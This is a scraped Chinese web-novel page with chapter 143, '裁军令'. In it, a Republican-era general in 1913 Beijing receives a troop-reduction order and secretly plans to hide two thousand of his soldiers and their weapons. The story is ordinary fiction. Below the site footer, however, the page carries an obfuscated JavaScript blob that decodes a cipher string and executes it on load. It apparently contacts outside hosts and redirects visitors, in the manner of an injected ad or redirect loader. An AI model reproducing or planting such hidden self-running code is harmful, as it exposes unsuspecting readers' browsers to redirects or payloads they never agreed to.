首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第0143章裁军令

    民国二年,春寒料峭。
    北京陆军部的会议厅里,炭火烧得正旺,却驱不散满室的寒意。长条会议桌两侧,坐满了北洋系的将领,肩章上的将星在汽灯下泛着冷光。沈砚之坐在最末位,穿着一身洗得发白的少将军服,在满座锦绣中显得格格不入。
    他是三个月前,奉南方革命政府之命,前来陆军部“任职”的。明面上是南北和谈后,袁世凯“重用”革命党将领,实际上,谁都清楚这是明升暗降,是把他这支劲旅从南方调离的调虎离山之计。
    “今日召集各位,”主位上的段祺瑞放下茶盏,声音不高,却让满室瞬间安静,“是传达大总统裁军整编的钧令。”
    他拿起一份文件,清了清嗓子:“自共和肇建,百废待兴。然各省军队,番号繁杂,编制混乱,兵额冗杂,饷糈浩繁,国库空虚,民生凋敝。为固国本,苏民困,兹决定对全国军队实行统一整编,汰弱留强,以节饷需,而纾国难。”
    文件是印刷的,措辞堂皇。但落到具体条目,字字如刀。
    “凡非北洋嫡系之各省民军、革命军,一律裁撤八成以上兵额。所余官兵,择优编入国军序列,余者发给三月恩饷,遣散回乡,自谋生路。”段祺瑞念到这里,目光扫过沈砚之,“尤其是南方一些,嗯,历史遗留的部队,更要严格执行。譬如——”
    他顿了顿,翻开另一页:“原山海关起义之沈砚之部,现辖官兵约五千六百余人。按令,保留一个团的建制,兵额一千二百人,编为陆军暂编第三十九团,归直隶督军节制。余部四千四百人,限一月内就地遣散,不得有误。”
    会议厅里响起低低的议论声。有人幸灾乐祸,有人面露同情,更多的是事不关己的冷漠。
    沈砚之缓缓抬起头。
    他没有看段祺瑞,也没有看任何人,只是盯着面前光可鉴人的会议桌桌面,上面倒映着汽灯惨白的光,和他自己平静得可怕的脸。
    五千六百人。
    这五千六百人,不是纸上的数字。是三千山海关子弟兵,是转战冀辽时收拢的溃兵,是南下途中投奔的热血青年,是护国护法时并肩死战的袍泽。他们当中,有跟着他攻破天下第一关的老乡勇,有在滦州城外替他挡过子弹的卫兵,有在南京临时政府成立时,把最后一块干粮让给难民的火头军。
    现在,一纸命令,要裁掉四千四百人。
    “沈将军,”段祺瑞的声音再次响起,带着一丝不易察觉的得意,“你有什么意见?”
    沈砚之慢慢站起身。
    满座的目光都落在他身上。这个从关外杀出来的“南蛮子”,在京城这三个月,不拜码头,不递门生帖,不参加任何宴请,每日只是准时到陆军部点卯,在那一方小小的办公室里,整理那些永远也整理不完的陈旧档案。有人说他识时务,有人说他怂了,有人说他在等待时机。
    现在,时机来了。或者说,刀架在脖子上了。
    “段总长,”沈砚之开口,声音不高,但很清晰,“裁军之事,关乎国计民生,沈某本不敢置喙。只是,我部官兵,多来自直隶、辽西,当年响应革命,抛家舍业,跟随沈某辗转南北,为共和流血牺牲。如今共和初建,便要将他们弃如敝履,恐怕……不妥。”
    “不妥?”坐在段祺瑞下首的一个胖将军嗤笑一声,“沈将军,你那些兵,说是革命军,其实就是些乡勇民团,乌合之众。如今国家统一,正要整军经武,建设一支现代化的国防力量。留着一千二百人,已经是格外开恩了。怎么,你还嫌少?”
    沈砚之看向他。这人他认得,直系干将,曹锟的心腹,据说在天津有好几处宅子,娶了四房姨太太。
    “王将军说的是。”沈砚之语气依旧平稳,“我部确是起于乡野,装备简陋,训练不足。但民国元年,滦州之战,是谁守住了滦河防线,挡住了张勋的辫子军?民国二年,剿匪之役,是谁三天奔袭四百里,击溃危害豫西的悍匪白狼?这些,陆军部的战报档案里,应该都有记载。”
    胖将军脸色一僵,想反驳,却又说不出话来。滦州之战,他的部队当时就在左翼,一触即溃,要不是沈砚之部死守,他早就成了张勋的俘虏。这事是他的忌讳,平日没人敢提。
    “沈将军这是在表功了?”段祺瑞敲了敲桌子,语气转冷,“有功当赏,有过当罚,这是常理。但裁军是国策,大总统亲自定下的,岂能因你一部之功,就废了国家大计?莫非沈将军觉得,你部的功劳,比国家还大?”
    这话很重,是诛心之论。
    沈砚之沉默了片刻。
    他知道,今天这个局面,是早就设好的局。袁世凯要用裁军之名,剪除南方革命党的羽翼,巩固自己的权力。他沈砚之,还有他这支从山海关带出来的队伍,就是首先要开刀的对象。说什么“择优编入国军”,都是幌子。那一千二百人的名额,最后能落到旧部手里的,能有几个?恐怕用不了多久,就会被北洋系的人渗透、分化、吞并,最后连渣都不剩。
    但他不能硬顶。硬顶的结果,就是给袁世凯动武的借口。到时候,就不是裁军,是剿灭了。
    “段总长言重了。”沈砚之重新开口,语气反而更缓和了些,“沈某岂敢以私废公。只是,裁撤官兵,事关数千人生计。这些人放下枪,就是平民百姓,总要给他们一条活路。沈某恳请陆军部,能否宽限些时日,妥善安置,多发些遣散费,让他们回乡之后,不至于衣食无着,铤而走险?”
    “安置?”胖将军又插嘴,“朝廷……哦不,政府现在哪有钱?各省都在哭穷,饷都发不出来,还安置?沈将军,你也是带兵的人,该知道当兵吃粮,天经地义。如今国家有难,让他们回家种地,已经是仁至义尽了。还要怎样?难道让他们留在军营里,白吃白喝?”
    “王将军!”旁边一个年长些的将领低声喝止。他是皖系的人,和直系素来不对付,此刻却也觉得胖将军的话太过刻薄。
    段祺瑞摆摆手,止住争吵,看向沈砚之:“沈将军所虑,也有道理。这样吧,遣散费,可以酌情多给一个月。至于安置……陆军部会行文地方,让他们妥善接收。不过,”他话锋一转,“时限不能变。一个月,必须裁撤完毕。这是大总统的死命令,谁也不能违抗。”
    死命令。
    沈砚之知道,再说无益了。
    他缓缓坐下,不再言语。
    会议又讨论了其他几支部队的裁撤方案,无非是切蛋糕,你多我少,讨价还价。沈砚之静静听着,一言不发。直到散会,将领们三三两两离开,他才最后一个站起身。
    走出陆军部大楼,春寒料峭的风扑面而来。北京城的天空是灰蒙蒙的,远处正阳门的箭楼在暮色中像一个沉默的巨人。
    “沈将军留步。”
    沈砚之回头,是刚才在会上出声制止胖将军的那位皖系老将,姓徐,是段祺瑞的同乡,但为人还算正直。
    “徐将军。”沈砚之拱手。
    “借一步说话。”徐将军看了看左右,压低声音,“裁军之事,已成定局,难以挽回。不过,那一千二百人的名额,操作上……或许还有些余地。”
    沈砚之看着他,等他说下去。
    “第三十九团的团长,按例该由你兼任。但你是少将衔,带一个团,太大材小用。段总长的意思,是想调你去保定军校,任教育长。至于团长人选……”徐将军意味深长地说,“可以从你旧部中,挑一个信得过、又能干的。比如,你那个姓程的副手,就不错。”
    程振邦。
    沈砚之心里冷笑。这是要把他调离部队,彻底架空。至于程振邦,确实能干,也忠诚。但把他一个人留在虎狼窝里,能撑多久?
    “徐将军美意,沈某心领。”沈砚之不卑不亢,“只是沈某才疏学浅,恐怕难当教育长重任。带兵打仗虽然粗陋,但这些年也习惯了。至于程副手,他性子直,恐怕不适合在京畿重地当差。”
    徐将军看了他一会儿,叹了口气:“沈将军,你是聪明人。有些事,强求不得。大势如此,个人能做的,无非是在夹缝中求存。你部五千余人,能保全一千二百建制,已经是万幸。多少人,连这个幸运都没有。”
    他说的是实话。南方的革命军,被成建制解散的,数不胜数。能保留一个团,确实已经是袁世凯“格外开恩”了。
    “徐将军说的是。”沈砚之点头,“沈某会遵令行事。”
    “那就好。”徐将军拍拍他的肩,转身走了。背影有些佝偻,在暮色中显得苍老。
    沈砚之站在原地,看着他的背影消失在人流中。然后,他转过身,朝另一个方向走去。
    他没有回陆军部给他安排的住所,而是穿街过巷,来到宣武门外一条僻静的小胡同。胡同深处有家小茶馆,门面不起眼,里面只摆着四五张桌子。这个时间,没什么客人,只有一个老掌柜在柜台后打瞌睡。
    沈砚之径直走进去,在靠窗的位置坐下,要了一壶高末,两碟点心。
    茶很快上来,粗瓷壶,茶叶也普通,但热气蒸腾,带着一股暖香。沈砚之给自己倒了一杯,慢慢喝着。茶水滚烫,顺着喉咙下去,暖了冰冷的五脏六腑。
    他在等一个人。
    约莫一炷香后,门帘一挑,进来一个戴瓜皮帽、穿长衫的中年人,像个寻常的账房先生。他在沈砚之对面坐下,也要了壶茶。
    两人对坐喝茶,半晌无话。
    “会开完了?”账房先生先开口,声音很低。
    “嗯。”沈砚之点头,“裁八成,留一千二,编为暂编三十九团,归直隶节制。限期一月。”
    账房先生端着茶杯的手顿了顿。“果然……一点余地都没有?”
    “没有。”沈砚之看着窗外渐渐暗下来的天色,“段祺瑞亲自宣布的,袁世凯的死命令。”
    “那你打算怎么办?”
    “不知道。”沈砚之实话实说,“硬抗,是找死。妥协,是等死。”
    账房先生沉默了一会儿。“孙先生的意思,是让你保存实力,以待时机。现在和北洋硬碰硬,没有胜算。”
    “保存实力?”沈砚之苦笑,“五千六百人,裁到一千二,还叫保存实力?剩下这些人,留在直隶,用不了半年,就会被他们吃干抹净。振邦性子直,不懂那些弯弯绕绕,留在北京,迟早出事。”
    “孙先生也知道你的难处。”账房先生从怀里摸出一个小纸卷,推到沈砚之面前,“这是上海来的密电。孙先生说,如果北京实在待不下去,可以南下。广东那边,陈炯明还保留了一些革命力量,可以接应你。”
    沈砚之没有碰那个纸卷。
    南下?去广东?然后呢?像丧家之犬一样,被北洋追着打?二次革命失败后,南方革命力量已经支离破碎,孙中山本人也在日本流亡。陈炯明在广东,也是朝不保夕,能自保就不错了,还能指望他庇护自己?
    “替我谢谢孙先生。”沈砚之把纸卷推回去,“但我现在不能走。我一走,那五千六百弟兄怎么办?裁撤的四千四百人,多是直隶、辽西子弟,让他们回乡,回乡之后呢?地没了,房没了,有的连家人都没了,他们怎么活?还有留下的一千二百人,我走了,谁来管他们?振邦一个人,扛不住的。”
    “那你……”
    “我再想想。”沈砚之喝完最后一口茶,站起身,“告诉孙先生,沈砚之不会辜负革命,也不会辜负弟兄。但路怎么走,容我再想想。”
    账房先生看着他,欲言又止,最后只是点点头:“万事小心。陆军部里,有他们的眼线。”
    “我知道。”
    沈砚之放下茶钱,走出茶馆。
    夜色已经完全笼罩了北京城。街上行人稀少,只有几家铺子还亮着灯。远处传来卖夜宵的吆喝声,悠悠的,带着这个古老皇都特有的慵懒和疲惫。
    沈砚之没有坐车,就这么慢慢地走着。裁军令像一块大石头,压在他心上。四千四百人,四千四百个活生生的人,跟着他出生入死,现在,他要亲手送他们走。
    他想起山海关起义那夜,三千乡勇在雪地里举着火把,眼神灼灼,喊着“驱除鞑虏,恢复中华”。想起南下途中,那些饿得皮包骨头的农民,把最后一点粮食塞给他们的孩子,说“跟着沈将军,有饭吃”。想起滦州城下,那个替他挡了子弹的卫兵,倒在他怀里,说“将军,我不亏,我杀了三个辫子兵”。
    现在,他要跟他们说:你们被裁了,回家吧。
    家?哪里还有家?
    直隶大旱,赤地千里。辽西兵连祸结,十室九空。这些人回去,要么饿死,要么沦为土匪,要么被当地的豪强欺压至死。
    不能。
    沈砚之停住脚步,抬头看着漆黑的夜空。几颗寒星在云隙间闪烁,微弱,但坚定。
    他不能让他们就这么散了。散了,就再也聚不起来了。散了,他这三年的心血,这些弟兄的血,就白流了。
    必须想办法。
    可是,有什么办法?
    抗命不遵,是死路。乖乖裁军,是绝路。难道真要南下广东,寄人篱下?
    不,还有第三条路。
    一个危险的念头,在沈砚之心里慢慢浮现。
    他想起一个人。一个在陆军部档案里看到的名字,一个被袁世凯排挤,同样郁郁不得志的人——蔡锷。
    蔡锷是云南都督,滇军首领,手握重兵,且素来不满袁世凯的独裁。如果他能和蔡锷取得联系,南北呼应,或许……
    但这个念头太大胆,太危险。蔡锷远在云南,他沈砚之在北京,身边耳目众多,怎么联系?就算联系上了,蔡锷愿不愿意冒这个险?就算愿意,又怎么把部队拉出去?从直隶到云南,千里迢迢,要经过多少北洋军阀的地盘?
    难。太难了。
    可是,再难,也比坐以待毙强。
    沈砚之深吸一口气,冰冷的空气灌入肺腑,让他清醒了许多。他转身,朝着住处方向走去。脚步不再沉重,反而变得坚定。
    回到那座小四合院,程振邦已经在屋里等着了。他显然也听到了风声,脸色铁青,在屋里来回踱步,像一头困兽。
    “大哥!”看见沈砚之进来,程振邦立刻迎上来,“陆军部那帮王八蛋,真要对咱们下手了?”
    “坐下说。”沈砚之脱下外套,在炭盆边烤了烤手。
    程振邦坐下,但坐不住,又站起来:“我听说,要裁掉八成?只留一个团?他娘的,这跟全裁了有什么区别?大哥,咱们不能答应!咱们手里的枪是吃素的?逼急了,老子带兵打进北京城,把袁大头揪出来!”
    “胡闹!”沈砚之沉下脸,“打进北京城?就凭咱们这五千多人,够人家塞牙缝的吗?段祺瑞在廊坊驻着一个师,曹锟在保定有两个师,北京城里还有禁卫军。你拿什么打?”
    “那……那就这么认了?”程振邦眼睛都红了,“大哥,那些弟兄,跟着咱们出生入死,现在说裁就裁,让他们回家等死?我……我受不了这个!”
    沈砚之沉默了一会儿。
    “我也受不了。”他慢慢说,“但受不了也得受。现在咱们是刀俎上的鱼肉,硬碰硬,只有死路一条。”
    “那怎么办?难道真就这么……”
    “当然不。”沈砚之抬起头,看着程振邦,“振邦,你信不信我?”
    “信!”程振邦毫不犹豫,“我这条命都是大哥救的,我不信你信谁?”
    “好。”沈砚之站起身,走到墙边,看着挂在那里的地图,“裁军令,咱们得接。但不一定全按他们的意思来。”
    “大哥的意思是……”
    “裁老弱,留精锐。”沈砚之的手指在地图上划过,“那些年纪大的,有伤病的,家里有老小要养的,多发点遣散费,让他们回家。但年轻力壮、无牵无挂、愿意跟着咱们干的,一个都不能放走。”
    “不放走?可陆军部要清点人数……”
    “人数可以报,人,不一定都在营里。”沈砚之转过身,眼神在烛光下闪烁着某种决绝的光,“振邦,你明天就回驻地,挑出两千精干可靠的人,分批化整为零,以各种名义离开军营。有的可以请假探亲,有的可以称病退役,有的甚至可以……开小差。”
    程振邦愣住了:“大哥,你这是要……”
    “瞒天过海。”沈砚之压低声音,“这两千人,不要解散,也不要集中。把他们分散到直隶、河南、山东的乡下,找个地方隐蔽起来,平时务农,暗中训练。武器不能全带走,带走一部分轻武器,重武器和大部分枪支,上交,做做样子。但每一支枪,每一颗子弹,都要登记在册,藏在可靠的地方,随时能取用。”
    “这……这要是被发现了,可是杀头的罪!”
    “所以一定要秘密。”沈砚之盯着他,“人选必须绝对可靠,去处必须绝对隐蔽。这事只有你知我知,绝不能让第三个人知道。包括留下的那一千二百人,也不能让他们知道。明白吗?”
    程振邦吞了口唾沫,重重点头:“明白!可是大哥,藏起来的这两千人,以后怎么办?总不能一直当农民吧?”
    “当然不。”沈砚之走回桌边,手指在地图上云南的位置点了点,“我在等一个机会。一个……天下有变的机会。到时候,这两千人,就是咱们东山再起的本钱。”
    “机会?什么机会?”
    沈砚之没有回答。他看着地图上云南的方向,眼神深邃。
    蔡锷。这个名字,像一颗火种,在他心里悄悄点燃。
    “别问那么多。”沈砚之拍拍程振邦的肩,“你只管去办。记住,一定要快,要秘密。一个月时间,足够陆军部那帮老爷们走马观花点个卯。点完之后,咱们该交的人交,该交的枪交。至于人去了哪里,枪去了哪里……天高皇帝远,他们管不着。”
    程振邦深吸一口气,胸中块垒似乎散了一些:“我懂了,大哥。我明天一早就走。”
    “路上小心。”沈砚之从怀里摸出一个小布包,递给他,“这里面是五百大洋,你拿着。安置弟兄们,处处要用钱。不够的话,我再想办法。”
    “大哥,这钱……”
    “拿着。”沈砚之不容置疑,“记住,咱们现在做的,是在刀尖上跳舞。一步走错,万劫不复。但这一步,必须走。不走,就是死路一条。走了,或许还有一线生机。”
    程振邦接过布包,沉甸甸的。他挺直腰板,对沈砚之行了个军礼:“大哥放心,我一定办好!”
    “去吧。”沈砚之挥挥手。
    程振邦转身走了。脚步声在寂静的夜里,格外清晰。
    沈砚之重新坐回炭盆边,看着跳跃的火苗。火光照在他脸上,明暗不定。
    裁军令是刀,是袁世凯砍向革命力量的刀。但他沈砚之,不能眼睁睁看着这把刀落下。他要接住这把刀,握住刀柄,然后,在适当的时机,把它挥回去。
    哪怕这个过程,凶险万分,如履薄冰。
    窗外的更鼓响了,三更。
    长夜漫漫,但天,总会亮的。
    (第一四三章完)

一秒记住【882小说网】
882xiaoshuo.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();